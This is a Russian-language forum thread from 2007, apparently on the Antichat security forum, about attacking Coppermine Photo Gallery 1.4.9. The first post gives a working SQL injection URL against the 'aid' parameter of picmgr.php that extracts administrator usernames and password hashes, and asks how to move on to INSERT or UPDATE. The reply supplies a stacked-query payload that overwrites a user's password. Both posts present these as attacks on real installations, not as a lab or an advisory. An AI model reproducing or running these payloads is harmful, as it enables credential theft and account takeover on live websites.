HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Coppermine Photo Gallery 1.4.9
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Coppermine Photo Gallery 1.4.9
  #1  
Старый 28.07.2007, 20:40
AllaryS
Новичок
Регистрация: 31.01.2006
Сообщений: 4
Провел на форуме:
7208

Репутация: 0
По умолчанию Coppermine Photo Gallery 1.4.9
Пробился к базе могу селектить, вопрос можно ли выполнить INSERT или UPDATE

P.S. Да сам пробовал никак не получаеццо 8(
P.P.S Пользовалсо уязвимостью скрипта picmgr.php переменной aid

Код:
http://host/gallery/picmgr.php?aid=123%20UNION%20SELECT%20user_id,user_group,concat(user_name,char(58,58),user_password)%20FROM%20cpg149_users%20right%20join%20cpg149_usergroups%20on%20cpg149_users.user_group%20=%20cpg149_usergroups.group_id%20where%20cpg149_usergroups.has_admin_access%20=%201%20--
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 28.07.2007, 21:29
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


По умолчанию
зависит от того есть ли мэджик квоутс и есть ли права у юзера для апйдета-инзерта
а вообще вид запроса такой

Код:
select * from sometable 
where ='x';
      UPDATE user
      SET pass = '31337'
      WHERE email = 'admin@microsoft.ru';
то есть ./picmgr.php?aid=31337';UPDATE+user+SET+pass='31337' +WHERE+email='admin@microsoft.ru';
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Coppermine Photo Gallery vX.X.X<=1.4.10 fly Уязвимости 2 21.04.2007 18:21
инекция в Coppermine Photo Gallery 1.4.8 ufo44 Уязвимости 1 22.11.2006 11:36



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.